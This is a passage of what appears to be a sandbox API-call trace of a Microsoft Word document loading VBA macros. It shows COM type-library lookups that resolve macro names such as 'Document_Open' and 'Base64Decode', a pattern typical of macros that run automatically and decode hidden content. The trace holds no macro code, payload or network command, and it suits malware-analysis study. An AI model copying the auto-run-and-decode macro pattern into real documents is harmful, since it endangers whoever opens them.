ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf3, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf4, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf5, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf6, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf7, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf8, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x127228 | out: pVarVal=0x127228*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.559] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.559] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127220, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x127130, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.560] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0x69a0c70 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69ae410 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x6a9cf50 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d48d0 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x6a2c890 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a80300 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50870 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50880 [0053.560] IUnknown:AddRef (This=0x677d9c0) returned 0x5 [0053.560] IUnknown:QueryInterface (in: This=0x677d9c0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1272d0 | out: ppvObject=0x1272d0*=0x0) returned 0x80004002 [0053.560] ITypeLib:GetTypeComp (in: This=0x677d9c0, ppTComp=0x1272c8 | out: ppTComp=0x1272c8*=0x677d9d0) returned 0x0 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663ee90 [0053.560] IUnknown:AddRef (This=0x677d9d0) returned 0x7 [0053.560] IUnknown:Release (This=0x677d9d0) returned 0x6 [0053.560] IUnknown:Release (This=0x677d9c0) returned 0x5 [0053.560] IUnknown:AddRef (This=0x677a9f0) returned 0xd [0053.560] IUnknown:QueryInterface (in: This=0x677a9f0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1272d0 | out: ppvObject=0x1272d0*=0x0) returned 0x80004002 [0053.560] ITypeLib:GetTypeComp (in: This=0x677a9f0, ppTComp=0x1272c8 | out: ppTComp=0x1272c8*=0x677aa00) returned 0x0 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x6642e50 [0053.560] IUnknown:AddRef (This=0x677aa00) returned 0xf [0053.560] IUnknown:Release (This=0x677aa00) returned 0xe [0053.560] IUnknown:Release (This=0x677a9f0) returned 0xd [0053.560] IUnknown:AddRef (This=0x677acc0) returned 0x6 [0053.560] IUnknown:QueryInterface (in: This=0x677acc0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1272d0 | out: ppvObject=0x1272d0*=0x0) returned 0x80004002 [0053.560] ITypeLib:GetTypeComp (in: This=0x677acc0, ppTComp=0x1272c8 | out: ppTComp=0x1272c8*=0x677acd0) returned 0x0 [0053.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663ebd0 [0053.561] IUnknown:AddRef (This=0x677acd0) returned 0x8 [0053.561] IUnknown:Release (This=0x677acd0) returned 0x7 [0053.561] IUnknown:Release (This=0x677acc0) returned 0x6 [0053.561] wcscpy_s (in: _Destination=0x4233e28, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0053.561] wcsncpy_s (in: _Destination=0x126eb0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.561] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x126de0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.561] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0053.568] IMalloc:Alloc (This=0x7feffc15380, cb=0x40) returned 0x69c3ec0 [0053.568] IUnknown:AddRef (This=0x677dc90) returned 0x4 [0053.568] IUnknown:QueryInterface (in: This=0x677dc90, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1272d0 | out: ppvObject=0x1272d0*=0x0) returned 0x80004002 [0053.568] ITypeLib:GetTypeComp (in: This=0x677dc90, ppTComp=0x1272c8 | out: ppTComp=0x1272c8*=0x677dca0) returned 0x0 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663ec50 [0053.569] IUnknown:AddRef (This=0x677dca0) returned 0x6 [0053.569] IUnknown:Release (This=0x677dca0) returned 0x5 [0053.569] IUnknown:Release (This=0x677dc90) returned 0x4 [0053.569] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x40) returned 0x69c3f10 [0053.569] IMalloc:Realloc (This=0x7feffc15380, pv=0x69a0c70, cb=0x70) returned 0x6a1ccd0 [0053.569] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base64Decode") returned 0x104067 [0053.569] strcpy_s (in: _Dst=0x127200, _DstSize=0xd, _Src="Base64Decode" | out: _Dst="Base64Decode") returned 0x0 [0053.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127200, cbMultiByte=13, lpWideCharStr=0x127050, cchWideChar=13 | out: lpWideCharStr="Base64Decode") returned 13 [0053.569] IUnknown:AddRef (This=0x677d9c0) returned 0x6 [0053.569] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="Base64Decode", lHashVal=0x104067, pfName=0x127120, pBstrLibName=0x127050 | out: pfName=0x127120*=0, pBstrLibName=0x127050) returned 0x0 [0053.569] IUnknown:Release (This=0x677d9c0) returned 0x5 [0053.569] IUnknown:AddRef (This=0x677a9f0) returned 0xe [0053.569] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="Base64Decode", lHashVal=0x104067, pfName=0x127120, pBstrLibName=0x127050 | out: pfName=0x127120*=0, pBstrLibName=0x127050) returned 0x0 [0053.569] IUnknown:Release (This=0x677a9f0) returned 0xd [0053.569] IUnknown:AddRef (This=0x677acc0) returned 0x7 [0053.569] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="Base64Decode", lHashVal=0x104067, pfName=0x127120, pBstrLibName=0x127050 | out: pfName=0x127120*=0, pBstrLibName=0x127050) returned 0x0 [0053.569] IUnknown:Release (This=0x677acc0) returned 0x6 [0053.569] IUnknown:AddRef (This=0x677dc90) returned 0x5 [0053.569] ITypeLib:RemoteIsName (in: This=0x677dc90, szNameBuf="Base64Decode", lHashVal=0x104067, pfName=0x127120, pBstrLibName=0x127050 | out: pfName=0x127120*=0, pBstrLibName=0x127050) returned 0x0 [0053.569] IUnknown:Release (This=0x677dc90) returned 0x4 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x69d70d0 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69ae4d0 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x6a91790 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4900 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x6a2c950 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a80390 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50890 [0053.569] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a508a0 [0053.569] IUnknown:AddRef (This=0x677d9c0) returned 0x6 [0053.570] IUnknown:QueryInterface (in: This=0x677d9c0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127040 | out: ppvObject=0x127040*=0x0) returned 0x80004002 [0053.570] ITypeLib:GetTypeComp (in: This=0x677d9c0, ppTComp=0x127038 | out: ppTComp=0x127038*=0x677d9d0) returned 0x0 [0053.570] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663efd0 [0053.570] IUnknown:AddRef (This=0x677d9d0) returned 0x8 [0053.570] IUnknown:Release (This=0x677d9d0) returned 0x7 [0053.570] IUnknown:Release (This=0x677d9c0) returned 0x6 [0053.570] IUnknown:AddRef (This=0x677a9f0) returned 0xf [0053.570] IUnknown:QueryInterface (in: This=0x677a9f0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127040 | out: ppvObject=0x127040*=0x0) returned 0x80004002 [0053.570] ITypeLib:GetTypeComp (in: This=0x677a9f0, ppTComp=0x127038 | out: ppTComp=0x127038*=0x677aa00) returned 0x0 [0053.570] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x6642ed0 [0053.570] IUnknown:AddRef (This=0x677aa00) returned 0x11 [0053.570] IUnknown:Release (This=0x677aa00) returned 0x10 [0053.570] IUnknown:Release (This=0x677a9f0) returned 0xf [0053.570] IUnknown:AddRef (This=0x677acc0) returned 0x7 [0053.570] IUnknown:QueryInterface (in: This=0x677acc0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127040 | out: ppvObject=0x127040*=0x0) returned 0x80004002 [0053.570] ITypeLib:GetTypeComp (in: This=0x677acc0, ppTComp=0x127038 | out: ppTComp=0x127038*=0x677acd0) returned 0x0 [0053.570] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663f0d0 [0053.570] IUnknown:AddRef (This=0x677acd0) returned 0x9 [0053.570] IUnknown:Release (This=0x677acd0) returned 0x8 [0053.570] IUnknown:Release (This=0x677acc0) returned 0x7 [0053.570] IUnknown:AddRef (This=0x677dc90) returned 0x5 [0053.570] IUnknown:QueryInterface (in: This=0x677dc90, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127040 | out: ppvObject=0x127040*=0x0) returned 0x80004002 [0053.570] ITypeLib:GetTypeComp (in: This=0x677dc90, ppTComp=0x127038 | out: ppTComp=0x127038*=0x677dca0) returned 0x0 [0053.570] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663f110 [0053.570] IUnknown:AddRef (This=0x677dca0) returned 0x7 [0053.570] IUnknown:Release (This=0x677dca0) returned 0x6 [0053.570] IUnknown:Release (This=0x677dc90) returned 0x5 [0053.570] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1270d8 | out: ppvObject=0x1270d8*=0x0) returned 0x80004002 [0053.570] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1270e0 | out: ppvObject=0x1270e0*=0x0) returned 0x80004002 [0053.570] ITypeInfo:GetTypeComp (in: This=0x68569a0, ppTComp=0x1270e8 | out: ppTComp=0x1270e8*=0x68569a8) returned 0x0 [0053.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663f150 [0053.571] IUnknown:AddRef (This=0x68569a8) returned 0x5 [0053.571] IUnknown:Release (This=0x68569a8) returned 0x4 [0053.571] IMalloc:Realloc (This=0x7feffc15380, pv=0x69d70d0, cb=0x60) returned 0x69a0c70 [0053.571] IUnknown:Release (This=0x68569a0) returned 0x3 [0053.571] IUnknown:Release (This=0x68569a0) returned 0x2 [0053.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2b6a, cbMultiByte=13, lpWideCharStr=0x127050, cchWideChar=14 | out: lpWideCharStr="Base64Decode") returned 13 [0053.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0x69e6510 [0053.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d40c0 [0053.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a508b0 [0053.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a508c0 [0053.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3eb0 [0053.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a80420 [0053.571] ITypeComp:RemoteBind (in: This=0x68569a8, szName="Base64Decode", lHashVal=0x104067, wFlags=0x0, ppTInfo=0x127008, pDescKind=0x12701c, ppFuncDesc=0x127020, ppVarDesc=0x7feffa43907, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x127008*=0x0, pDescKind=0x12701c*=0, ppFuncDesc=0x127020, ppVarDesc=0x7feffa43907, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.572] _mbscpy_s (in: _Dst=0x1274f0, _DstSizeInBytes=0xd, _Src=0x3c02b3a | out: _Dst=0x1274f0) returned 0x0 [0053.572] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0053.572] strcpy_s (in: _Dst=0x127200, _DstSize=0xe, _Src="Document_Open" | out: _Dst="Document_Open") returned 0x0 [0053.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127200, cbMultiByte=14, lpWideCharStr=0x127050, cchWideChar=14 | out: lpWideCharStr="Document_Open") returned 14 [0053.572] IUnknown:AddRef (This=0x677d9c0) returned 0x7 [0053.572] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x127120, pBstrLibName=0x127050 | out: pfName=0x127120*=0, pBstrLibName=0x127050) returned 0x0 [0053.572] IUnknown:Release (This=0x677d9c0) returned 0x6 [0053.572] IUnknown:AddRef (This=0x677a9f0) returned 0x10 [0053.572] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x127120, pBstrLibName=0x127050 | out: pfName=0x127120*=0, pBstrLibName=0x127050) returned 0x0 [0053.572] IUnknown:Release (This=0x677a9f0) returned 0xf [0053.572] IUnknown:AddRef (This=0x677acc0) returned 0x8 [0053.572] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x127120, pBstrLibName=0x127050 | out: pfName=0x127120*=0, pBstrLibName=0x127050) returned 0x0 [0053.572] IUnknown:Release (This=0x677acc0) returned 0x7 [0053.572] IUnknown:AddRef (This=0x677dc90) returned 0x6 [0053.572] ITypeLib:RemoteIsName (in: This=0x677dc90, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x127120, pBstrLibName=0x127050 | out: pfName=0x127120*=0, pBstrLibName=0x127050) returned 0x0 [0053.572] IUnknown:Release (This=0x677dc90) returned 0x5 [0053.573] IUnknown:Release (This=0x68569a0) returned 0x3 [0053.573] IUnknown:Release (This=0x68569a0) returned 0x2 [0053.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2b9a, cbMultiByte=14, lpWideCharStr=0x127050, cchWideChar=15 | out: lpWideCharStr="Document_Open") returned 14 [0053.573] ITypeComp:RemoteBind (in: This=0x68569a8, szName="Document_Open", lHashVal=0x1089c1, wFlags=0x0, ppTInfo=0x127008, pDescKind=0x12701c, ppFuncDesc=0x127020, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x127008*=0x0, pDescKind=0x12701c*=0, ppFuncDesc=0x127020, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.573] _mbscpy_s (in: _Dst=0x1274f0, _DstSizeInBytes=0xe, _Src=0x3c02d3a | out: _Dst=0x1274f0) returned 0x0 [0053.573] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.573] _mbscpy_s (in: _Dst=0x1274f0, _DstSizeInBytes=0xe, _Src=0x1274f9 | out: _Dst=0x1274f0) returned 0x0 [0053.573] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0053.573] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127408 | out: ppvObject=0x127408*=0x0) returned 0x80004002 [0053.573] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127410 | out: ppvObject=0x127410*=0x0) returned 0x80004002 [0053.573] ITypeInfo:GetTypeComp (in: This=0x6856a50, ppTComp=0x127418 | out: ppTComp=0x127418*=0x6856a58) returned 0x0 [0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663f190 [0053.573] IUnknown:AddRef (This=0x6856a58) returned 0x8 [0053.573] IUnknown:Release (This=0x6856a58) returned 0x7 [0053.573] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a1ccd0, cb=0x80) returned 0x6a804b0 [0053.573] IUnknown:Release (This=0x6856a50) returned 0x6 [0053.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c01556, cbMultiByte=5, lpWideCharStr=0x127200, cchWideChar=6 | out: lpWideCharStr="Open") returned 5 [0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0x69e6b60 [0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4480 [0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a508d0 [0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a508e0 [0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3fa0 [0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a80540 [0053.573] ITypeComp:RemoteBind (in: This=0x6856a58, szName="Open", lHashVal=0x100767, wFlags=0x1, ppTInfo=0x1271b8, pDescKind=0x1271cc, ppFuncDesc=0x1271d0, ppVarDesc=0xffffffff00000000, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1271b8*=0x6856a50, pDescKind=0x1271cc*=1, ppFuncDesc=0x1271d0, ppVarDesc=0xffffffff00000000, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.573] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x1271c0, pDummy=0x1 | out: ppTypeAttr=0x1271c0, pDummy=0x1) returned 0x0 [0053.573] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.574] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x127020 | out: ppvObject=0x127020*=0x6856a50) returned 0x0 [0053.574] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x6856a50, memid=5, invkind=1, pFuncIndex=0x127060 | out: pFuncIndex=0x127060*=0x1) returned 0x0 [0053.574] ITypeInfo2:GetFuncCustData (in: This=0x6856a50, index=0x1, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x127078 | out: pVarVal=0x127078*(varType=0x0, wReserved1=0x0, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x127120, varVal2=0x69ae410)) returned 0x0 [0053.574] IUnknown:Release (This=0x6856a50) returned 0x7 [0053.574] IUnknown:AddRef (This=0x6856a50) returned 0x8 [0053.574] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.574] IUnknown:Release (This=0x6856a50) returned 0x7 [0053.574] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127278 | out: ppvObject=0x127278*=0x0) returned 0x80004002 [0053.574] IUnknown:AddRef (This=0x6856a50) returned 0x8 [0053.574] IUnknown:Release (This=0x6856a50) returned 0x7 [0053.574] CoCreateGuid (in: pguid=0x1276b0 | out: pguid=0x1276b0*(Data1=0x65ef4bb5, Data2=0xc9, Data3=0x4eea, Data4=([0]=0xad, [1]=0x2e, [2]=0x64, [3]=0xea, [4]=0xec, [5]=0x4a, [6]=0xe, [7]=0xef))) returned 0x0 [0053.574] CoCreateGuid (in: pguid=0x1276b0 | out: pguid=0x1276b0*(Data1=0xb06e0dfe, Data2=0x42e1, Data3=0x42a6, Data4=([0]=0xbb, [1]=0x6, [2]=0x46, [3]=0x65, [4]=0x9a, [5]=0xab, [6]=0x88, [7]=0x6e))) returned 0x0 [0053.574] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0x6a2c970 [0053.574] IUnknown:Release (This=0x6856a50) returned 0x7 [0053.574] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1277e8 | out: ppvObject=0x1277e8*=0x0) returned 0x80004002 [0053.574] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1277e8 | out: ppvObject=0x1277e8*=0x0) returned 0x80004002 [0053.574] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0x69a0ce0 [0053.574] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0053.574] IUnknown:AddRef (This=0x677d9c0) returned 0x7 [0053.574] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x126d18, pDummy=0x0 | out: ppTLibAttr=0x126d18, pDummy=0x0) returned 0x0 [0053.574] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x126d30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.574] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e71e0 [0053.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x126da0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 66 [0053.575] strcpy_s (in: _Dst=0x68fe238, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0053.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x126eb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0053.575] strcpy_s (in: _Dst=0x68fe288, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0053.575] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e7630 [0053.575] IUnknown:AddRef (This=0x677d9c0) returned 0x8 [0053.575] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.575] IUnknown:Release (This=0x677d9c0) returned 0x7 [0053.575] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", 